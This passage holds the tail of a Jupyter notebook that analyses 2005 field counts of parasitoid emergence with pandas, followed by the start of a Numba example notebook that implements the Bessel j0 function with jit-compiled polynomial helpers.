<td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>34 days</td>\n", " </tr>\n", " <tr>\n", " <th>57</th>\n", " <td>G</td>\n", " <td>2005-04-18</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>36 days</td>\n", " </tr>\n", " <tr>\n", " <th>58</th>\n", " <td>G</td>\n", " <td>2005-04-20</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>38 days</td>\n", " </tr>\n", " <tr>\n", " <th>59</th>\n", " <td>G</td>\n", " <td>2005-04-22</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>40 days</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id date Efemales Emales morpho1 morpho2 morpho3 morpho4 \\\n", "10 B 2005-04-03 0 0 2 0 0 0 \n", "11 B 2005-04-05 1 0 2 5 0 0 \n", "12 B 2005-04-07 4 2 1 0 0 0 \n", "13 B 2005-04-09 0 0 0 0 0 0 \n", "14 B 2005-04-11 1 0 0 0 0 0 \n", "15 B 2005-04-13 2 1 0 0 0 0 \n", "16 B 2005-04-16 0 0 0 0 0 0 \n", "17 B 2005-04-18 0 0 0 0 0 0 \n", "18 B 2005-04-20 0 0 0 0 0 0 \n", "19 B 2005-04-22 0 0 0 0 0 0 \n", "20 C 2005-04-03 1 0 5 0 2 1 \n", "21 C 2005-04-05 0 2 0 0 0 1 \n", "22 C 2005-04-07 1 0 2 0 0 0 \n", "23 C 2005-04-09 1 0 0 0 0 0 \n", "24 C 2005-04-11 0 0 0 0 0 0 \n", "25 C 2005-04-13 0 2 1 0 0 0 \n", "26 C 2005-04-16 0 0 0 0 0 0 \n", "27 C 2005-04-18 2 0 0 0 1 0 \n", "28 C 2005-04-20 0 0 0 0 0 0 \n", "29 C 2005-04-22 0 0 0 0 0 0 \n", "30 D 2005-04-03 1 0 0 0 0 0 \n", "31 D 2005-04-05 1 0 0 0 0 0 \n", "32 D 2005-04-07 3 0 0 0 0 0 \n", "33 D 2005-04-09 0 0 0 0 0 0 \n", "34 D 2005-04-11 5 3 0 0 0 0 \n", "35 D 2005-04-13 0 2 0 0 0 0 \n", "36 D 2005-04-16 0 0 0 0 0 0 \n", "37 D 2005-04-18 2 2 0 0 0 0 \n", "38 D 2005-04-20 3 1 0 0 0 0 \n", "39 D 2005-04-22 0 0 0 0 0 0 \n", "0 E 2005-04-03 0 0 1 0 0 0 \n", "1 E 2005-04-05 0 0 0 0 0 0 \n", "2 E 2005-04-07 1 0 0 1 0 0 \n", "3 E 2005-04-09 0 1 0 1 0 0 \n", "4 E 2005-04-11 0 0 0 0 0 0 \n", "5 E 2005-04-13 1 0 0 0 0 0 \n", "6 E 2005-04-16 2 2 0 0 0 0 \n", "7 E 2005-04-18 2 5 0 0 0 0 \n", "8 E 2005-04-20 0 0 0 0 0 0 \n", "9 E 2005-04-22 0 0 0 0 0 0 \n", "40 F 2005-04-03 0 0 0 0 0 0 \n", "41 F 2005-04-05 0 0 0 0 0 0 \n", "42 F 2005-04-07 0 0 0 0 0 0 \n", "43 F 2005-04-09 0 0 0 0 0 0 \n", "44 F 2005-04-11 0 0 0 0 0 0 \n", "45 F 2005-04-13 1 0 0 0 0 0 \n", "46 F 2005-04-16 0 0 0 0 0 0 \n", "47 F 2005-04-18 0 0 0 0 0 0 \n", "48 F 2005-04-20 0 0 0 0 0 0 \n", "49 F 2005-04-22 0 0 0 0 0 0 \n", "50 G 2005-04-03 0 0 0 0 0 0 \n", "51 G 2005-04-05 0 0 0 0 0 0 \n", "52 G 2005-04-07 0 0 0 0 0 0 \n", "53 G 2005-04-09 0 0 0 0 0 0 \n", "54 G 2005-04-11 3 0 0 3 0 1 \n", "55 G 2005-04-13 4 4 0 0 0 0 \n", "56 G 2005-04-16 0 0 0 0 0 0 \n", "57 G 2005-04-18 0 0 0 0 0 0 \n", "58 G 2005-04-20 0 0 0 0 0 0 \n", "59 G 2005-04-22 0 0 0 0 0 0 \n", "\n", " morpho5 morpho6 Wfnum All_total E_total datePR \n", "10 0 0 4 6 0 21 days \n", "11 0 0 41 49 1 23 days \n", "12 0 0 21 28 6 25 days \n", "13 1 0 53 54 0 27 days \n", "14 0 0 11 12 1 29 days \n", "15 1 0 0 4 3 31 days \n", "16 0 0 0 0 0 34 days \n", "17 0 0 0 0 0 36 days \n", "18 0 0 0 0 0 38 days \n", "19 0 0 0 0 0 40 days \n", "20 0 0 6 15 1 21 days \n", "21 0 0 36 39 2 23 days \n", "22 0 0 11 14 1 25 days \n", "23 0 0 24 25 1 27 days \n", "24 0 0 0 0 0 29 days \n", "25 0 0 0 3 2 31 days \n", "26 0 0 0 0 0 34 days \n", "27 0 0 0 3 2 36 days \n", "28 0 0 0 0 0 38 days \n", "29 0 0 0 0 0 40 days \n", "30 0 0 60 61 1 21 days \n", "31 0 0 80 81 1 23 days \n", "32 0 0 44 47 3 25 days \n", "33 0 0 12 12 0 27 days \n", "34 1 0 8 17 8 29 days \n", "35 3 0 1 6 2 31 days \n", "36 0 0 0 0 0 34 days \n", "37 0 0 0 4 4 36 days \n", "38 0 0 8 12 4 38 days \n", "39 0 0 0 0 0 40 days \n", "0 0 0 39 40 0 21 days \n", "1 0 0 155 155 0 23 days \n", "2 0 0 69 71 1 25 days \n", "3 0 0 60 62 1 27 days \n", "4 0 0 0 0 0 29 days \n", "5 1 0 0 2 1 31 days \n", "6 0 0 0 4 4 34 days \n", "7 0 0 0 7 7 36 days \n", "8 0 0 0 0 0 38 days \n", "9 0 0 0 0 0 40 days \n", "40 0 0 0 0 0 21 days \n", "41 0 0 227 227 0 23 days \n", "42 0 0 75 75 0 25 days \n", "43 0 0 44 44 0 27 days \n", "44 0 0 2 2 0 29 days \n", "45 0 0 5 6 1 31 days \n", "46 0 0 0 0 0 34 days \n", "47 0 0 0 0 0 36 days \n", "48 2 0 0 2 0 38 days \n", "49 0 0 0 0 0 40 days \n", "50 0 0 400 400 0 21 days \n", "51 0 0 240 240 0 23 days \n", "52 0 0 61 61 0 25 days \n", "53 0 0 0 0 0 27 days \n", "54 0 0 0 7 3 29 days \n", "55 17 0 2 27 8 31 days \n", "56 0 0 0 0 0 34 days \n", "57 0 0 0 0 0 36 days \n", "58 0 0 0 0 0 38 days \n", "59 0 0 0 0 0 40 days " ] }, "execution_count": 15, "metadata": {}, "output_type": "execute_result" } ], "source": [ "%matplotlib inline\n", "import pandas as pd\n", "import numpy as np\n", "import statsmodels.api as sm\n", "import matplotlib.pyplot as plt\n", "import matplotlib\n", "matplotlib.style.use('ggplot')\n", "\n", "data_loc = '../data/sampling_details.xlsx'\n", "\n", "release_date = pd.Timestamp('2005-03-13')\n", "\n", "# load the sentinel fields sheet\n", "sentinel_fields_data = pd.read_excel(data_loc,sheetname='Kal-sentinels-raw')\n", "# rename the headings with spaces in them\n", "sentinel_fields_data.rename(columns={\"Field descrip\":\"descrip\",\"date emerged\":\"date\", \n", " \"Field ID (jpgs)\": \"id\",\n", " \"Field ID (paper)\":\"paperid\"}, inplace=True)\n", "sentinel_fields_data.drop('descrip',1,inplace=True)\n", "sentinel_fields_data.drop('paperid',1,inplace=True)\n", "sentinel_fields_data.sort_values(['id','date'], inplace=True)\n", "# get sum of all the emergences\n", "col_list = list(sentinel_fields_data)\n", "for name in ['id','date']:\n", " col_list.remove(name)\n", "sentinel_fields_data['All_total'] = sentinel_fields_data[col_list].sum(axis=1)\n", "# get the number of E Hayati emergences per day\n", "sentinel_fields_data['E_total'] = sentinel_fields_data[['Efemales','Emales']].sum(axis=1)\n", "sentinel_fields_data['datePR'] = sentinel_fields_data['date'] - release_date\n", "#print(sentinel_fields_data['datePR'].min().days)\n", "#day29 = pd.Timedelta('29 days')\n", "#sentinel_fields_data[sentinel_fields_data['datePR']==day29]['E_total'].values\n", "#PR29 = sentinel_fields_data['datePR'] == day29\n", "#sentinel_fields_data[PR29]\n", "sentinel_fields_data\n", "#sentinel_fields_data[sentinel_fields_data['E_total']>0].plot.scatter(x='Wfnum',y='E_total')" ] }, { "cell_type": "code", "execution_count": 14, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[21 23 25 27 29 31 34 36 38 40]\n" ] } ], "source": [ "release_field_data = pd.read_excel(data_loc,sheetname='Kal-releasefield-raw')\n", "# in our data, North was on the left of the grid. So switch coordinates\n", "release_field_data['temp'] = release_field_data['xcoord']\n", "release_field_data['xcoord'] = release_field_data['ycoord']\n", "release_field_data['ycoord'] = -release_field_data['temp'] # need to flip orientation\n", "release_field_data.drop('temp',1,inplace=True)\n", "# put release point at the origin\n", "release_field_data['ycoord'] += 300\n", "release_field_data['xcoord'] -= 200\n", "col_list = list(release_field_data)\n", "for name in ['Field','xcoord','ycoord','date emerged']:\n", " col_list.remove(name)\n", "release_field_data['All_total'] = release_field_data[col_list].sum(axis=1)\n", "release_field_data['E_total'] = release_field_data[['Efemales','Emales']].sum(axis=1)\n", "release_field_data['datePR'] = release_field_data['date emerged'] - release_date\n", "release_field_data.drop('Field',1,inplace=True)\n", "#release_field_data['ycoord'].values\n", "release_field_data.sort_values(['datePR','xcoord','ycoord'],inplace=True)\n", "print(release_field_data['datePR'].map(lambda t: t.days).unique())\n", "#release_field_data" ] }, { "cell_type": "code", "execution_count": 28, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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\nZM5UKqV4PK5kMqk7d+4oFAp5mnNMh3f6+vo0bdq09HQoFBrzP/iDDAwMKBgMSrpbtvfuO9TX16f5\n8+enlwuFQurr6xvzfN3d3bp06ZLmz59fkFlTqZT+8Ic/6OrVq1q5cqXmzZtXcDkPHDigX/7ylxoa\nGkrPK7SMkuQ4jrZv365x48ZpxYoVqqmpKbic3d3d8vv9evvtt3Xp0iU9+eSTWrt2bcHl/LqTJ0/q\nRz/6kaTC+7uHQiHV1tZq48aNeuyxx/T000/r6aef9jTnmI/pFxvHcfIdIS0ej6uxsVFr165VaWnp\nfc8XQtZx48bpr3/9q4aGhrRr1y5dvnz5vmXymfPeZzjhcHjEvaC+qRB+l9u2bdPUqVN1/fp1bd++\nXTNmzLhvmXznTKVSunjxotatW6e5c+dq//79am1tvW+5fOe8Z3h4WB0dHXr55Ze/9fl857x586Y6\nOjr09ttvq6ysTI2NjTp+/Ph9y2WTc0xLPxQK6dq1a+npvr4+hUKhsYzwQMFgUP39/emf974V7JvZ\ne3t7xzR7MpnU7t27tXTpUi1evLigs0pSWVmZqqqqdObMmYLKef78eXV0dOiTTz7RnTt3dOvWLf3t\nb38rqIz3TJ06VZI0ZcoULV68WBcuXCi4nKFQSNOmTdPcuXMlSc8++6xaW1sLLuc9Z86c0ZNPPqkp\nU6ZIKrzX0NmzZ1VRUaHJkydLkn74wx/qv//9r6c5x3RMf968ebpy5Yp6eno0PDysEydOaNGiRWMZ\n4T7fHDd95plndOzYMUnSsWPH0vkWLVqkkydPanh4WN3d3bpy5YrmzZs3Zjn37dunWbNmadWqVQWb\n9fr16+khkzt37ujs2bOaOXNmQeX8xS9+oX379qm5uVm//e1v9f3vf1+//vWvCyqjJN2+fVvxeFzS\n3Xd4n376qebMmVNwOYPBoKZNm6auri5Jd0tr1qxZBZfzno8++khLlixJTxdazscff1yfffaZ7ty5\nI2NMTn6fY35F7pkzZ/Svf/1Lxhi98MILeT1ls6mpSefOndPg4KACgYAikYgWL16sPXv26Nq1ayov\nL1dDQ0P6w97Dhw/rgw8+0Pjx48f0FK7z589r69atmjNnjhzHkeM4qq+v17x58woq6//+9z/9/e9/\nVyqVkjFGzz33nH7yk5/oxo0bBZXznnPnzum9995Ln7JZSBm7u7u1c+dOOY6jZDKp559/XnV1dQWX\nU5JisZj+8Y9/aHh4WE888YQ2btyoVCpVcDlv376tjRs3qrm5WRMnTpSkgvx9Hjp0SCdPnpTP51M4\nHNavfvUrxeNxz3JyGwYAsAhX5AKARSh9ALAIpQ8AFqH0AcAilD4AWITSBwCLUPoAYBFKHwAs8n8D\ntEBPPEfgYAAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x2291a0d7ef0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "field_totals = []\n", "E_totals = []\n", "for field in sentinel_fields_data['id'].unique():\n", " field_totals.append(sentinel_fields_data[sentinel_fields_data['id']==field]['Wfnum'].sum(axis=0))\n", " E_totals.append(sentinel_fields_data[sentinel_fields_data['id']==field]['E_total'].sum(axis=0))\n", "plt.scatter(field_totals,E_totals)\n", "plt.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Observation data" ] }, { "cell_type": "code", "execution_count": 17, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "date datetime64[ns]\n", "collector object\n", "leaves int64\n", "obs_count int64\n", "xcoord int64\n", "ycoord int64\n", "datePR timedelta64[ns]\n", "dtype: object" ] }, "execution_count": 17, "metadata": {}, "output_type": "execute_result" } ], "source": [ "%matplotlib inline\n", "import pandas as pd\n", "import numpy as np\n", "\n", "data_loc = '../data/adult_counts_kalbar.xlsx'\n", "\n", "release_date = pd.Timestamp('2005-03-13')\n", "\n", "# load the grid adult counts sheet\n", "grid_obs = pd.read_excel(data_loc,sheetname='adult counts field A')\n", "# rename the headings with spaces in them\n", "grid_obs.rename(columns={\"x coor\":\"x\",\"y coor\":\"y\", \n", " \"num leaves viewed\": \"leaves\",\n", " \"num hayati\":\"obs_count\"}, inplace=True)\n", "# we don't really care about the leaf num columns\n", "grid_obs = grid_obs[['date','collector','x','y','leaves','obs_count']]\n", "# in our data, North was on the left of the grid. So switch coordinates\n", "grid_obs['xcoord'] = grid_obs['y']\n", "grid_obs['ycoord'] = -grid_obs['x'] # need to flip orientation\n", "grid_obs.drop(['x','y'],1,inplace=True)\n", "# put release point at the origin\n", "grid_obs['ycoord'] += 300\n", "grid_obs['xcoord'] -= 200\n", "# convert date to datePR\n", "grid_obs['datePR'] = grid_obs['date'] - release_date\n", "grid_obs.sort_values(['datePR','xcoord','ycoord'],inplace=True)\n", "# print(grid_obs['datePR'].map(lambda t: t.days).unique())\n", "grid_obs.dtypes" ] }, { "cell_type": "code", "execution_count": 23, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "date datetime64[ns]\n", "direction object\n", "distance int64\n", "obs_count int64\n", "dtype: object" ] }, "execution_count": 23, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# load the first cardinal directions sheet\n", "cardinal_obs = pd.read_excel(data_loc,sheetname='cardinal 15 mar 05')\n", "# rename the one heading with a space\n", "cardinal_obs.rename(columns={\"num adults\":\"obs_count\"}, inplace=True)\n", "cardinal_obs.drop('num viewers',1,inplace=True)\n", "cardinal_obs.dtypes" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.1" } }, "nbformat": 4, "nbformat_minor": 0 }

gpl-3.0

jriehl/numba

examples/notebooks/j0 in Numba.ipynb

1

26682

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "I have always wanted to write a ufunc function in Python. With Numba, you can --- and it will be fast." ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Populating the interactive namespace from numpy and matplotlib\n" ] } ], "source": [ "%pylab inline" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [], "source": [ "import numpy as np\n", "from numba import jit\n", "import math" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Define some polynomial evaluation tools." ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [], "source": [ "@jit('f8(f8,f8[:])', nopython=True)\n", "def polevl(x, coef):\n", " N = len(coef)\n", " ans = coef[0]\n", " i = 1\n", " while i < N:\n", " ans = ans * x + coef[i]\n", " i += 1\n", " return ans\n", "\n", "@jit('f8(f8,f8[:])', nopython=True)\n", "def p1evl(x, coef):\n", " N = len(coef)\n", " ans = x + coef[0]\n", " i = 1\n", " while i < N:\n", " ans = ans * x + coef[i]\n", " i += 1\n", " return ans \n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Define some constants!" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [], "source": [ "PP = np.array([\n", " 7.96936729297347051624E-4,\n", " 8.28352392107440799803E-2,\n", " 1.23953371646414299388E0,\n", " 5.44725003058768775090E0,\n", " 8.74716500199817011941E0,\n", " 5.30324038235394892183E0,\n", " 9.99999999999999997821E-1], 'd')\n", "\n", "PQ = np.array([\n", " 9.24408810558863637013E-4,\n", " 8.56288474354474431428E-2,\n", " 1.25352743901058953537E0,\n", " 5.47097740330417105182E0,\n", " 8.76190883237069594232E0,\n", " 5.30605288235394617618E0,\n", " 1.00000000000000000218E0], 'd')\n", " \n", "DR1 = 5.783185962946784521175995758455807035071\n", "DR2 = 30.47126234366208639907816317502275584842\n", "\n", "RP = np.array([\n", "-4.79443220978201773821E9,\n", " 1.95617491946556577543E12,\n", "-2.49248344360967716204E14,\n", " 9.70862251047306323952E15], 'd')\n", "\n", "RQ = np.array([\n", " # 1.00000000000000000000E0,\n", " 4.99563147152651017219E2,\n", " 1.73785401676374683123E5,\n", " 4.84409658339962045305E7,\n", " 1.11855537045356834862E10,\n", " 